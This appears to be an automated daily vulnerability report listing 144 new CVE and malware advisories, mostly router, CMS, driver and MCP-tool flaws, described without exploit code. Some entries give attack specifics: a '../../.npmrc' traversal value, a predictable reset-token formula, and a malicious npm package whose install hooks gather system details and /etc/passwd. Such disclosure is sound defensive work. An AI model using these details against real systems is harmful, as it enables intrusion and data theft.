

Daily Vulnerability Report - 2026-09-21

Window (UTC): 2026-09-20T10:31 to 2026-09-21T10:31 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-21 10:31:38 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
144	144	0	0	0	14	27	43	48	98

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94003	New	10.0	CRIT				A vulnerability has been found in Comfast CF-N1-S 2.6.0.1. Impacted is the function get_css_path_from_uri of the file /cgi-bin/mbox-config of the component Web Management Interface. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-94089	New	10.0	CRIT				A vulnerability was determined in D-Link DIR-868L 2.01b05. This issue affects the function strcpy of the file /webfa_authentication.cgi of the component Authentication Handler. Executing a manipulation of the argument id/password can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-94097	New	10.0	CRIT				A vulnerability was determined in Netcore NBR200V2 1.3.241127.071246. This affects an unknown part of the file /www/cgi-bin/network_tools of the component CGI Diagnostic Endpoint. This manipulation of the argument param/key/val causes command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was ...
CVE-2026-94095	New	9.9	CRIT				A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/network_tools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. ...
CVE-2026-94096	New	9.9	CRIT				A vulnerability was found in Netcore NBR200V2 1.3.241127.071246. Affected by this issue is some unknown functionality of the file /usr/bin/network_tools of the component LAN IP Configuration Handler. The manipulation of the argument ipv4 results in command injection. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was conta...
CVE-2026-94099	New	9.9	CRIT				A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERY_STRING results in command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for at...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94100	New	9.9	CRIT				A weakness has been identified in Netcore NBR200V2 1.3.241127.071246. Impacted is the function wan_config_set_vlan of the file /usr/bin/routerd of the component WAN VLAN Reconfiguration. Executing a manipulation of the argument wanX.ports can lead to buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be ...
CVE-2026-94101	New	9.9	CRIT				A security vulnerability has been detected in Netcore NBR200V2 1.3.241127.071246. The affected element is the function vlan_load_form_uci of the file /usr/bin/routerd. The manipulation of the argument wan_num leads to buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about ...
CVE-2026-90817	New	9.8	CRIT				An unauthenticated Remote Code Execution vulnerability was found in the survey passthrough routing and Data Import processing logic, in which a malicious user could potentially exploit it by manipulating HTTP requests to access an unintended controller route from a public survey context and by supplying a crafted file-path/stream parameter during import handling. If successf...
CVE-2026-88856	New	9.4	CRIT				Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions updateOSGallery(), reached via task=update_osgallery, read a JSON request body and called the value of a method field as a live PHP function, passing the value of a package field as its single argument, with no allow-list ...
CVE-2026-88857	New	9.4	CRIT				Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions saveWatermark() copied an uploaded file into a web-accessible directory using the client-supplied filename exactly as sent, with no extension check, no content check, and no filename sanitisation of any kind. An authentica...
CVE-2026-88854	New	9.3	CRIT				Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions showSearchResult() and showSearchResultAjax() read the textsearch/searchText request parameter with \$input->getVar(), which is not a real Joomla filter method and falls through to a filter that strips HTML tags but does not touch quotes or ...
CVE-2025-12999	New	9.1	CRIT				UrlUtil.getBaseUrl builds the absolute URLs in a response — download links, icons, asset and API URLs — from the X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix request headers, with no check on whether the sender was a trusted proxy, falling back to the client-supplied Host header. ...
CVE-2026-94098	New	9.1	CRIT				A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERY_STRING leads to command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contac...
CVE-2026-92574	New	8.8	HIGH				A vulnerability in CRI-O checkpoint restore allows a user who can create a pod from a malicious checkpointed container to bypass the destination Kubernetes security context. The restored process may retain credentials, Linux capabilities, no_new_privs, and seccomp state from the checkpoint instead of enforcing the destination configuration. This can allow execution with elev...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94036	New	8.8	HIGH				A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwd_set results in improper access controls. The attack must originate from the local network. The exploit has been released to the public and may be used ...
CVE-2026-94104	New	8.8	HIGH				NivoCart through 2.4.0 contains an arbitrary file upload vulnerability in the File Manager multi() endpoint that fails to validate file extensions for new filenames or when chunks parameter is 2 or higher. Attackers with view-only back-office access can upload PHP files to the web-accessible image/data/ directory and execute them for remote code execution.
CVE-2026-94106	New	8.8	HIGH				getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding getID3.
CVE-2026-94109	New	8.8	HIGH				openEQUELLA versions before 2026.1.0 contain a remote code execution vulnerability in FreeMarker template compilation due to an unsandboxed TemplateClassResolver configuration. Authenticated attackers can inject malicious template expressions through collection summaries, dashboard portlets, or MIME templates to instantiate dangerous classes like freemarker.template.utility....
CVE-2026-94128	New	8.8	HIGH				A security vulnerability has been detected in BioStar VIVID LED DJ 4.0.2411.1500. This affects the function sub_1105C of the file BS_LED64.sys of the component IOCTL Handler. The manipulation of the argument AssociatedIrp leads to write-what-where condition. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. The vendor ...
CVE-2026-94129	New	8.8	HIGH				A vulnerability was detected in BioStar VALKYRIE AURORA 2.10.2411.0800. This vulnerability affects the function sub_1105C of the file BS_RVSIO64.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress results in write-what-where condition. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contact...
CVE-2026-94142	New	8.8	HIGH				A security vulnerability has been detected in BioStar Temperature Monitor Utility 1.2.1806.2200. Affected by this vulnerability is the function sub_1105C of the file BS_HWMIO64_W10.sys of the component IOCTL Handler. Such manipulation of the argument PhysicalAddress leads to write-what-where condition. The attack needs to be performed locally. The exploit has been disclosed ...
CVE-2026-94146	New	8.8	HIGH				A vulnerability was found in BioStar BIOS Update Utility 1.9.7.3. This issue affects the function sub_110BC of the file BSMEM64_W10.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress/Size results in write-what-where condition. Attacking locally is a requirement. The exploit has been made public and could be used. The vendor was contacted ear...
CVE-2026-88855	New	8.6	HIGH				Joomla Extension - OrdaSoft.com - Authenticated, Privileged SQL Injection in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions saveGallery() passes form data through a hand-rolled parser into Joomla's Input object, then reads it back with the ARRAY/ STRING filter types, neither of which sanitises SQL content. Values from category_names[], catOrderIds, and...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94107	New	8.1	HIGH				NivoCart through 2.4.0 contains a predictable password reset token vulnerability in the forgotten.php endpoint that generates recovery codes using substr(md5(mt_rand()), 0, 10). Attackers who know an administrator's email address can request a password reset and predict the token to gain administrative account access without rate limiting or expiration.
CVE-2026-15801	New	8.0	HIGH				A vulnerability was found in CRI-O related to the container checkpoint and restore feature. When CRI-O is configured to restore containers from checkpoint archives, insufficient validation of restore metadata may allow a user with sufficient privileges to perform unintended operations on the host filesystem. Successful exploitation requires that container checkpoint and rest...
CVE-2026-47321	New	7.5	HIGH				The CompressionFilter class uses ZLib to deflate and inflate data sent and received. When we inflate incoming data, the filter does not control the resulting size, and create a buffer no matter what. Some compressed data may have a compression ration greater than 1 thousand, leading to an exhaustion of the application memory, as we don't control the deflated size. The f...
CVE-2026-94139	New	7.4	HIGH				A weakness has been identified in Chengdu Feiyuxing Technology Feiyu Star Router B-MB5E202-210322-r11656. Affected is an unknown function of the file /send_order.cgi?parameter=logout of the component Cookie Handler. This manipulation of the argument session_id causes command injection. Remote exploitation of the attack is possible. The exploit has been made available to th...
CVE-2026-93978	New	7.3	HIGH				A vulnerability was identified in code-projects Internship Management System 1.0. Affected by this issue is some unknown functionality of the file /login.php. Such manipulation of the argument Password leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used.
CVE-2026-93979	New	7.3	HIGH				A security flaw has been discovered in code-projects Internship Management System 1.0. This affects an unknown part of the file /employer/login.php. Performing a manipulation of the argument Password results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.
CVE-2026-93980	New	7.3	HIGH				A weakness has been identified in code-projects Internship Management System 1.0. This vulnerability affects unknown code of the file /admin/login.php of the component Admin Login Form. Executing a manipulation of the argument Password can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for a...
CVE-2026-93997	New	7.3	HIGH				A weakness has been identified in SourceCodester Drug Recommendation System 1.0. Affected by this issue is some unknown functionality of the file /Admin/edit_symptom.php. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-94004	New	7.3	HIGH				A vulnerability was found in DedeCMS up to 5.7.118. The affected element is an unknown function of the file plus/mytag_js.php. The manipulation of the argument aid results in code injection. The attack can be launched remotely. The exploit has been made public and could be used.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94015	New	7.3	HIGH				A vulnerability was identified in SourceCodester Drug Recommendation System 1.0. This affects an unknown function of the file /drug_recommender/Admin/edit_user.php. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.
CVE-2026-94038	New	7.3	HIGH				A security vulnerability has been detected in NonceGeek dim-sum-app. This impacts the function textSearchV2Handler of the file deno/main.tsx of the component Deno Backend. Such manipulation of the argument supabase_url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 8...
CVE-2026-94039	New	7.3	HIGH				A vulnerability was detected in vas3k TaxHacker up to 0.8.5. Affected is the function generateInvoicePDF of the file /apps/invoices/actions.ts of the component Invoice PDF Renderer. Performing a manipulation of the argument businessLogo results in server-side request forgery. The attack is possible to be carried out remotely. The exploit is now public and may be used. The pr...
CVE-2026-94044	New	7.3	HIGH				A vulnerability was identified in 03-lovepreetSingh MCP up to f95d035c5317fad81af9828286631053ccb23546. This issue affects the function create_file of the file app/api/mcp/route.ts. Such manipulation of the argument filePath/content leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use ver...
CVE-2026-94110	New	7.3	HIGH				A security vulnerability has been detected in QCMS up to 6.0.6. This issue affects the function self_Tmp in the library Lib/Config/Controllers.php of the component Content Detail Page. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Router uses raw REQUEST_URI witho...
CVE-2026-94143	New	7.3	HIGH				A vulnerability was detected in drogonframework drogon up to 1.9.13. Affected by this issue is the function Mapper::orderBy in the library Mapper.h of the component ORM Mapper. Performing a manipulation of the argument sort results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early ab...
CVE-2026-94144	New	7.3	HIGH				A flaw has been found in drogonframework drogon up to 1.9.13. This affects the function makeCriteria in the library orm_lib/src/Criteria.cc of the component ORM. Executing a manipulation of the argument filter can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about this disclosur...
CVE-2026-90860	New	7.1	HIGH				The Canva Mobile App for HarmonyOS before v1.15.1 did not restrict the headers returned to an external origin running in a privileged WebView. A threat actor with control of the WebView could access a user's session.
CVE-2026-92254	New	6.9	MEDI				Missing Authorization in the IOCTL handlers of the wsdkd.sys kernel drivers in Watchdog WatchDog Antivirus 1.8.640 (driver versions 1.3.0.0 and earlier) on Microsoft Windows allows local, low-privileged attackers to delete arbitrary files with SYSTEM privileges, bypassing NTFS access controls and potentially disabling security products or destabilizing the operating system, ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94112	New	6.8	MEDI				mayswind ezBookkeeping before 2.0.0 fails to invalidate TOTP passcodes after use, allowing attackers to replay captured codes within the acceptance window. Attackers with stolen credentials can authenticate and reuse a captured passcode against multiple authorization attempts for approximately 90 seconds without detection.
CVE-2026-94185	New	6.7	MEDI				nvm resolves a requested version or alias by treating it as a filename under \$NVM_DIR/alias. Before 0.40.8, nvm_alias() concatenated the requested name onto that directory and read the result with no containment check, so a name containing a `..` component escaped the alias directory; under the default layout an alias such as `../../.npmrc` resolves to a file in the user's h...
CVE-2026-94048	New	6.6	MEDI				A vulnerability was detected in CodeAstro QR Code Attendance Management System 1.0. This affects the function Save of the file app/Controllers/UserController.php. The manipulation of the argument role_id results in improper privilege management. The attack can be executed remotely. The exploit is now public and may be used.
CVE-2026-94111	New	6.6	MEDI				Tencent BrowserSkill through 0.3.0 contains an authentication bypass vulnerability in the local daemon WebSocket origin validation that accepts any chrome-extension origin with 32 characters in range a-p. Attackers can register a malicious extension as a browser client to intercept and manipulate page content, DOM, and screenshots returned to the AI agent.
CVE-2026-94138	New	6.6	MEDI				A security flaw has been discovered in Chengdu Feiyuxing Technology Feiyu Star Router B-MB5E202-210322-r11656. This impacts an unknown function of the file /send_order.cgi?parameter=del_expmac. The manipulation of the argument mac results in command injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The ve...
CVE-2026-85113	New	6.5	MEDI				The GiveWP WordPress plugin before 4.16.9 does not remove shortcode delimiters from donor-supplied values before rendering them on public pages, and the shortcode stripping it applies can be defeated by nesting, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.
CVE-2026-94108	New	6.5	MEDI				getID3 through 1.9.26 contains an XML external entity injection vulnerability in the XML2array helper function that fails to properly disable entity loading on PHP before 8.0. Attackers can craft malicious XML metadata in media files to disclose local files, perform server-side request forgery, or cause denial of service through entity expansion.
CVE-2026-94113	New	6.5	MEDI				Frappe ERPNext versions before 15.121.0 and 16.x before 16.34.0 contain an information disclosure vulnerability in whitelisted timesheet endpoints that fail to enforce doctype permissions. Authenticated attackers can call get_projectwise_timesheet_data, get_timesheet_detail_rate, and get_timesheet endpoints to enumerate and retrieve billable time logs including project names...
CVE-2026-94031	New	6.3	MEDI				A vulnerability was detected in 0-Gaurav-0 nexus-mcp aed0026e7ac1f23dc940e46e9fd3a2da6904f914. Affected by this issue is the function child_process.exec of the file src/auth/browser.ts of the component nexus_reauth MCP tool. The manipulation of the argument url results in command injection. The attack may be performed from remote. The exploit is now public and may be used. T...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94032	New	6.3	MEDI				A flaw has been found in itsourcecode Leave Management System 1.0. This affects an unknown part of the file /module/department/index.php. This manipulation of the argument ID causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.
CVE-2026-94041	New	6.3	MEDI				A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbf6b9c. Affected by this issue is some unknown functionality of the file admin/add_menu.php. The manipulation of the argument item/price/image/type leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the p...
CVE-2026-94042	New	6.3	MEDI				A vulnerability was found in AdithyaYelloju Restaurant Management System up to 7f0e7e84255e8fcfd488e83f8f91451bbbf6b9c. This affects the function mysqli_query of the file admin/add_table.php. The manipulation of the argument table/members/price results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. This pr...
CVE-2026-94047	New	6.3	MEDI				A security vulnerability has been detected in samanhappy MCPHub up to 1.0.32. The impacted element is the function importTemplate of the file src/services/templateService.ts of the component Template Import Endpoint. The manipulation leads to improper privilege management. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used....
CVE-2026-94051	New	6.3	MEDI				A vulnerability was found in 0717376 cwork_bench up to d943e75bc0fc8e3b27141979300cd8cbcd1e890d. Affected by this vulnerability is the function ControlFlowNode of the file local_servers/pdf-tools-mcp/pdf_tools_mcp/server.py of the component pdf-tools-mcp. Performing a manipulation of the argument pdf_file_path results in server-side request forgery. It is possible to initia...
CVE-2026-94090	New	6.3	MEDI				A security flaw has been discovered in JusticeRage Analyze 1.0.0. The affected element is the function PE::_parse_debug of the file manape/pe.cpp of the component PE Parser. The manipulation of the argument misc.Length results in integer underflow. The attack may be performed from remote. The patch is identified as 3e299685759f4f767088871de58c5d07f98ee382. A patch should be...
CVE-2026-94093	New	6.3	MEDI				A security vulnerability has been detected in DLR-RM stable-baselines3 up to 2.9.0. This affects the function PPO.load/load_replay_buffer/VecNormalize.load of the file save_util.py. Such manipulation leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. In v2.9.0 the PyTorch tensor load path is harden...
CVE-2026-94277	New	6.3	MEDI				MISP's galaxy matrix statistics view (app/View/Users/statistics_galaxymatrix.ctp) renders the galaxy name directly into HTML output via sprintf() without any HTML encoding. An authenticated user holding the perm_galaxy_editor permission can create or modify a galaxy whose name contains arbitrary HTML or JavaScript markup. Because the value is interpolated verbatim into the p...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92252	New	5.9	MEDI				Incorrect default permissions in the installation directory of WatchDog Anti-Virus on Windows allow local, low-privileged users to modify, replace, or delete antivirus binaries and configuration files, because the installer grants the Users group Full Control over C:\Program Files (x86)\Watchdog Anti-Virus. This may disable antivirus protection or enable privileged code exec...
CVE-2026-94091	New	5.5	MEDI				A weakness has been identified in piskvorky gensim up to 4.4.0. The impacted element is the function Load of the file gensim/utlis.py of the component Model Loader. This manipulation of the argument fframe causes deserialization. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. Maintainer closed #...
CVE-2026-94092	New	5.5	MEDI				A vulnerability was detected in dmlc dgl up to 2.1.0. This impacts the function load_info/_read_torch_data of the file utlis.py. Performing a manipulation of the argument path results in deserialization. The attack can be initiated remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded ...
CVE-2026-94215	New	5.5	MEDI				A flaw was found in the Admin REST API of Keycloak, an open-source identity and access management solution. The issue occurs because the API uses a per-request in-memory cache to resolve clients by their unique identifier without verifying if the client belongs to the realm specified in the request path. This allows an administrator with limited privileges to read or modify ...
CVE-2026-85010	New	5.3	MEDI				The RestroPress WordPress plugin before 3.4.6 does not validate a client-supplied item add-on price on the server side when items are added to or updated in the cart, allowing unauthenticated users to set an arbitrary price and place orders for an attacker-chosen total, down to and including zero.
CVE-2026-92400	New	5.3	MEDI				The Payment Gateway for PayPal on WooCommerce WordPress plugin before 9.2.1 does not verify that an incoming payment notification was confirmed in the store's configured payment environment or paid to the store's own merchant account before marking an order complete, allowing unauthenticated users to mark their own orders as paid using a genuine transaction from a payment sa...
CVE-2026-94040	New	5.3	MEDI				A flaw has been found in vas3k TaxHacker up to 0.8.5. Affected by this vulnerability is the function testLLMProviderAction of the file app/(app)/apps/settings/actions.ts. Executing a manipulation of the argument provider/apiKey/model/baseUrl can lead to server-side request forgery. The attack may be performed from remote. The exploit has been published and may be used. The p...
CVE-2026-94043	New	5.3	MEDI				A vulnerability was determined in Free5GC up to 4.2.3. This vulnerability affects unknown code of the file /corefuzzer_deps/free5gc/NFs/amf/internal/gmm/handler.go of the component Gmm Handler. This manipulation causes race condition. The attack can be initiated remotely. Patch name: e323b01464355781b8b8d5dd695e05cbc00a62f2. To fix this issue, it is recommended to deploy a p...
CVE-2026-94105	New	5.3	MEDI				NivoCart through 2.4.0 contains a destructive configuration write vulnerability in the admin password reset controller that allows unauthenticated attackers to disable password recovery by supplying an invalid code parameter. Attackers can send a GET request with a missing or incorrect code to rewrite the config_password setting to 0, disabling self-service password recovery...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94148	New	5.3	MEDI				A vulnerability was determined in ScadaBR up to 1.1. Impacted is the function EmportDwr.createExportJSON of the file /ScadaBR/export_project.htm of the component Export Project Endpoint. This manipulation causes information disclosure. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.2.0 is recommended ...
CVE-2026-94151	New	5.3	MEDI				A weakness has been identified in Omega Solution HRM OS up to 20260717. This affects an unknown function of the file /role-permission/permission of the component Role Permission API. Executing a manipulation of the argument roleId can lead to missing authentication. The attack may be launched remotely. The exploit has been made available to the public and could be used for a...
CVE-2026-92253	New	5.2	MEDI				Improper link resolution before file access in the quarantine restoration process of WatchDog Anti-Virus 1.8.640 on Windows allows local, low-privileged attackers to cause a quarantined file to be written to an arbitrary filesystem location by creating a directory junction at the original file path and persuading an administrator to restore the file. This may enable modifica...
CVE-2026-91921	New	5.1	MEDI				Cross-Site Scripting (XSS) vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax and certain unsanitised content blocks. The impact is limited to the user's own ...
CVE-2026-94213	New	4.9	MEDI				A flaw was found in the Authorization Services component of Keycloak, an open-source identity and access management solution. The issue occurs in the policy evaluation endpoint, which is used by administrators to test how access policies apply to specific users. Due to missing authorization checks, a delegated administrator with limited viewing privileges can access the full...
CVE-2026-94103	New	4.7	MEDI				A vulnerability has been found in RooCMS up to 1.2.2/1.3.4/1.4RC2. This impacts the function eval of the file roocms/site_pagePHP.php of the component Frontend Rendering. Such manipulation of the argument content leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about thi...
CVE-2026-94028	New	4.3	MEDI				A weakness has been identified in mealie-recipes Mealie up to 3.25.1. Affected is the function payload.model_dump of the file mealie/routes/households/controller_group_recipe_actions.py of the component Recipe Action Trigger. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. The exploit has been made av...
CVE-2026-94035	New	4.3	MEDI				A vulnerability was determined in SourceCodester Drug Recommendation System 1.0. Impacted is an unknown function of the file /drug_recommender/index.php. Executing a manipulation of the argument full name can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-94037	New	4.3	MEDI				A weakness has been identified in 00Kisumi00 mcp-file-analyzer up to 84740852f0cf0cf5db4781b1ca6d7c6a6d210405. This affects the function ControlFlowNode of the file main.py of the component analyze_csv_data MCP tool. This manipulation of the argument filename causes path traversal. Remote exploitation of the attack is possible. The exploit has been made available to the publi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94046	New	4.3	MEDI				A weakness has been identified in 0215AndrewFeng ACE-MCP up to 4.10.8. The affected element is the function get_file_snippet of the file getFileSnippet.ts of the component MCP Tool. Executing a manipulation of the argument projectRootPath/filePath can lead to path traversal. The attack may be launched remotely. The exploit has been made available to the public and could be u...
CVE-2026-94049	New	4.3	MEDI				A flaw has been found in 06ketan slideshot up to 4.4.0. This impacts the function render_slides of the file packages/cli/src/renderer.ts. This manipulation of the argument htmlPath causes path traversal. The attack is possible to be carried out remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but ...
CVE-2026-94050	New	4.3	MEDI				A vulnerability has been found in D-Link DIR-X1860Z up to 1.0.2.220120.165402. Affected is the function routerd.wificfg_get/routerd.get_rand_key of the component ubus JSON-RPC interface. Such manipulation leads to information disclosure. The attack must be carried out from within the local network. Upgrading to version 1.0.7.260821.161908 is able to address this issue. It is...
CVE-2026-94094	New	4.3	MEDI				A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been published and may be used. Fix suggestion's "streaming/size-limit" was never sh...
CVE-2026-94102	New	4.3	MEDI				A flaw has been found in WuzhiCMS up to 4.1.0. This affects an unknown function of the file /index.php?m=member&v=Login of the component Login. This manipulation of the argument forward causes open redirect. The attack can be initiated remotely. The exploit has been published and may be used. The only sanitization is remove_xss(), an XSS keyword/entity scrubber. The vendor w...
CVE-2026-94149	New	4.3	MEDI				A vulnerability was identified in Omega Solution HRM OS up to 20260717. The affected element is an unknown function of the file /role-permission/permission of the component Role Permission Retrieval Endpoint. Such manipulation of the argument roleId leads to improper control of resource identifiers. The attack can be launched remotely. The exploit is publicly available and m...
CVE-2026-94152	New	4.3	MEDI				A security vulnerability has been detected in Omega Solution FBP Fulfillment by People 2025. This impacts an unknown function of the file /user/ of the component User Profile API. The manipulation of the argument ID leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted e...
CVE-2026-86802	New	3.7	LOW				The To Do List Member WordPress plugin through 1.6 does not have authorisation or nonce checks in an import routine, and does not validate the location it fetches the imported data from, allowing unauthenticated users to create arbitrary published posts and taxonomy terms on the site.
CVE-2026-93977	New	3.5	LOW				A vulnerability was determined in code-projects Assessment Management 1.0. Affected by this vulnerability is an unknown functionality of the file lecturer/add-single-mark.php. This manipulation of the argument mark causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94033	New	3.5	LOW				A vulnerability has been found in SourceCodester Drug Recommendation System 1.0. This vulnerability affects unknown code of the file /drug_recommender/Admin/add_user of the component User Management. Such manipulation of the argument txtname/txtemail/txtpassword leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the...
CVE-2026-94034	New	3.5	LOW				A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /drug_recommender/Admin/change_password of the component Password Change. Performing a manipulation of the argument txtoldpassword/txtnewpassword results in cross site scripting. The attack can be initiated remotely. The exploit has been made pub...
CVE-2026-94045	New	3.5	LOW				A security flaw has been discovered in newbee-ltd newbee-mall up to 1.0.0. Impacted is an unknown function of the file controller/common/UploadController.java of the component Goods Save Endpoint. Performing a manipulation of the argument goodsName results in cross site scripting. The attack may be initiated remotely. The exploit has been released to the public and may be us...
CVE-2026-94145	New	3.5	LOW				A vulnerability has been found in xuxueli xxl-job up to 3.4.2/3.5.0. This vulnerability affects unknown code of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobInfoController.java of the component Task Management Interface. The manipulation of the argument name/author leads to cross site scripting. It is possible to initiate the attack remotely....
CVE-2026-94217	New	3.5	LOW				A flaw was found in the User-Managed Access (UMA) implementation of Keycloak. The issue occurs in the authorization token endpoint when processing permission tickets. If two different users own resources with the same name, the system incorrectly merges the permissions from both resources when one user requests an authorization token. This allows an attacker to gain access s...
CVE-2026-94137	New	3.3	LOW				A vulnerability was identified in Hangzhou Shunwang Technology shzh 10.7.2.693. This affects the function sub_180004AC0 of the file shdrv_x64.sys of the component IRP_MJ_DEVICE_CONTROL Handler. The manipulation of the argument PID leads to denial of service. The attack must be carried out locally.
CVE-2026-94030	New	3.1	LOW				A security vulnerability has been detected in SerenityOS up to 3d83e4509fd20d7438e1ae8470ffe668c136229c. Affected by this vulnerability is the function decode_bmp_pixel_data of the file Userland/Libraries/LibGfx/ImageFormats/BMPLoader.cpp of the component LibGfx. The manipulation of the argument height leads to integer overflow. The attack is possible to be carried out remot...
CVE-2026-94218	New	3.1	LOW				A flaw was found in the authentication session management of Keycloak, an identity and access management solution. The issue occurs when an administrator enforces a stronger authentication flow, such as mandatory two-factor authentication (2FA) setup, through a client policy. A user can bypass this requirement by manually visiting a specific session restart web link during t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94016	New	2.4	LOW				A security flaw has been discovered in SourceCodester Drug Recommendation System 1.0. This impacts an unknown function of the file /drug_recommender/Admin/add_symptom. Performing a manipulation of the argument txtname results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.
CVE-2026-94150	New	2.4	LOW				A security flaw has been discovered in Omega Solution HRM OS up to 20260717. The impacted element is an unknown function of the file /media/view/ of the component SVG File Upload. Performing a manipulation results in cross site scripting. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted ea...
CVE-2026-82187	New						The Web to Print Online Designer WordPress plugin before 2.15.0 does not validate the type or extension of uploaded files, and hands the token protecting those uploads to any visitor who asks for it, allowing unauthenticated attackers to upload arbitrary files, including PHP ones, and run code on the server.
CVE-2026-90839	New						Rejected reason: this is rejected
MAL-2026-16299	New					npm:@pwaplatform/module-sso-integration	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4f674867f67f5a8495dbc953913b6cc7c0d8b9d094161c660ca4dfd5449506ba) @pwaplatform/module-sso-integration@99.0.1 declares both preinstall and postinstall lifecycle scripts that execute payload.js on npm install. payload.js collects hostname, whoami, id, uname -a, the contents of /etc/passw...
